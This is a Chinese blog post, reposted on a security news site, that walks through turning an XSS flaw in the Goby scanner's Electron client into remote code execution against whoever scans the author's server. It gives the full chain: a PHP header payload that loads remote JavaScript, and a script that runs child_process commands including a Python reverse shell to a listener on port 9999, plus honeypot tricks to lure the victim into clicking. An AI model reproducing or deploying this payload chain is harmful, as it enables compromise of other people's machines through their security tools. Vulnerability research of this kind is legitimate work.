长亭百川云 - 文章详情

闲来无事,反制GOBY(补档&挂人)

赛博回忆录

55

2024-07-13

0x-1 缘由

这个文章是我第一次过万的文章

但是由于被某些业内小丑举报了导致被删除

当时事发后我都一脸懵逼,我甚至都不认识这人,如今业内安全圈就是因为这种人过多导致乌烟瘴气特别娱乐,有点无语之余想想也就算了就没有挂出来喷了。毕竟第一次过万差不多也就满足了,挺有意思的一次经历。 

那为什么我现在要把这个再发出来呢?

原因是可能会有新的反制要出来啦,但是公众号里没有保存goby这篇多少有点遗憾,所以我现在要补一下档,仅此而已,顺便趁着补档的机会也让大家看看圈内小丑是什么样的嘴脸。建议远离这样的人,这些人本事没几个,背后恶心人有一手。

顺便双十一了,我也发一个星球的优惠券吧(每年我都会涨价一百哦)。

安卓用户可以直接支付,IOS用户建议加我微信mikupangci转账给我,好了下面是原文内容

0x00 前言

最近事情比较多一直没有沉下心来做个啥玩意出来,写文章,太浅了不好意思发,太深了涉及利益又不能发,思来想去,搞点反制玩玩吧。老早就想搞搞反制,之前想搞awvs,但是看了几秒钟发现太难了就没继续了,下午想试试goby吧。

0x01 大致看看

大家都知道我没有windows,所以我的goby也是mac版本,特意更新道最新版本如下图:

接下来先踩踩点,打开/Applications/Goby.app,众所周知app就是一个文件夹,所以我们在终端进入到文件夹

因为是electron开发的,所以这里有个app.asar,这个玩意可以直接解出js代码 asar e app.asar builddist 解出来的js代码就在builddist目录里了。我们进入到这个目录随便看看

随便搜一搜,比如搜exec

搜搜execSync

这个scan.js

可以看到做了一些简单的混淆 不过无所谓,我懒得看,关掉它 看看那个render.js

可以看到是一个有90000行的js文件,里面主要的渲染页面啥的都在这里,我看不懂,但我很震撼。接下来怎么办?无所谓,关掉它。

0x02 跟着感觉走吧

上面大概搜了搜,感觉告诉我可以放一放,直接命令注入是不好弄的,那么走xss这条路行不行?答案是可以的。我们随便搭件一个http让goby扫一下看看整体交互展示:

可以看到这扫描首页几乎所有的信息都是固定的,要么不可控,要么就是字典写死的,想要在这里直接xss有点难度,那么详情页面如何?我们点击上图的红圈,跳到单ip详情页面。

可以看到上图我圈中的地方,他展示了一个php的版本信息,php这个vendor是写死的,那么后面的版本号呢?我们做做实验

我们把返回的header改一改,版本号的地方插入一个h1标签,重复上面的扫描再看看。启动php的httpserver,扫描完毕后进入详情页面:

这里可以看到,字体变大了,这直接说明了可以插入一些标签,运气好的话直接XSS,我试过script标签似乎无效,所以我改成了img标签。

这里我插入了<img src="x" onerror="alert(1);">

真奇怪没生效,我点击这个方框,跳到下面这个页面

这里透露了一些信息,似乎是被截断了,感觉告诉我是空格,于是我把空格替换成了tab,再试一下

成了,XSS了。可是这里有个问题,就是一个jb小子必须点到详情里才能触发XSS,那么我们怎么让他大概率点进来呢?很简单,我们把我们的服务器做成蜜罐,做成靶机,让他一扫描我们的服务器就能看到一大堆漏洞,端口开放的最多,漏洞最多,我们的ip就会排在首页的第一,是个人都会点进来,甚至都不会等到扫描完毕!然后我这里也把服务器特地加载80端口进行返回,因为80端口很常规也很小,详情排序里也是排第一,所以点进去就会xss避免其他意外。

0x03 XSS到RCE

既然有了XSS又同时是electron那么我们很容易想到以前的蚁剑XSS到RCE,可以看看这个(https://www.uedbox.com/post/54188/) 很显然的使用:

require('child_process').exec('xxxxxxx');  

应该就可以直接rce了。但实际上并不行,经过了N次的测试,归纳一下主要是有什么问题:

  1. 过滤了空格,标签里可以用tab来规避但是js代码里并不太行

  2. 大写字母全部转换成小写,因此任何方法有大写字母的一律不行

  3. 冒号也会截断

  4. '-'也不行 大写字母和空格的问题直接导致了常规的空格替代方案都不太行,比如:

${IFS} //不行,IFS必须大写,小写不生效  
{'ls','-a'} //这个形式看起来应该可以,但是不知道为什么不成功  

当然在exec里我尝试了很多,不止上面这些,有些不太记得了就不说了。这里我陷入了一个误区,命令注入逃逸习惯了后一直纠结如何在exec里逃逸,却忘了我能插入js代码,因此下面这个形式一开始我以为应该就可以了

然而试了不行,仔细一看,草,execFile,又一个大写。最后想起来可以引入远程js的形式来操作。那么最后就变成了这样:

  1. goby扫描我

  2. php的服务返回一个header插入xss引用远程js文件

  3. 远程js文件里插入完整的执行代码

  4. jb小子点击详情触发xss,最后rce

思路整理完了,然后就是构造了 php的index.php文件内容如下

<?php  
header("X-Powered-By: PHP/<img  src=\"x\"       onerror=import(unescape('http%3A//127.0.0.1/test2.js'))>");  
?>  

这里用%3A的转换来代替冒号,是Camaro师傅教我的(原谅我太垃圾),准备好完整的test2.js文件如下:

(function(){  
require('child_process').exec('open /System/Applications/Calculator.app');  
require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');  
})();  

这里弹了一个计算器又弹了一个py反弹shell到本地的9999端口,最后在9999端口用nc监听即可,这里还有个小坑点就是js文件在goby客户端的chrome里如果同名只会第一次去请求后面就缓存起来了,在测试的时候如果反复改js文件却发现没有效果,没想到缓存的话可能会自闭。现在我们启动php服务

sudo php -S 127.0.0.1:80 -F index.php  

打开goby开始扫描->IP详情->XSS->RCE 完成了。

0x04 反思和总结

其实我从打开goby到XSS大概就花了半小时,主要时间花费在规避一些过滤和小细节问题上。群友也帮了我很多,学到了很多shell下规避空格等限制的技巧,还是蛮牛逼的就不在这里写了。其次我想说的是,很多人找漏洞,思路可能不清晰,就比如我开头写的从js文件里看,如果换成普通人可能就拼命审计,又臭又长,花费了很长时间看可能也挖不到一个洞。那么为什么我当机立断转到黑盒呢?原因很简单,我们能想象到的反制RCE,无非就两个,一个是命令注入,一个就是XSS到RCE。我打开js代码随便搜了一下exec,第一时间感觉没多少地方可以碰到,就立马放弃。思路直接转到XSS上,那么在哪里找XSS呢?很简单,打开页面跟着交互走,哪里出现我可能可以控制的内容就去测试哪里。所以很快的我就找到了XSS的点,接下来就是RCE的事情了。我相信大家看完后仔细挖掘一下,还有很多可能性,我这个是1click,就直接放出来了,大家照着这个思路去挖掘,很快r1就要加班啦~ (我已经想到更多的点了)

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2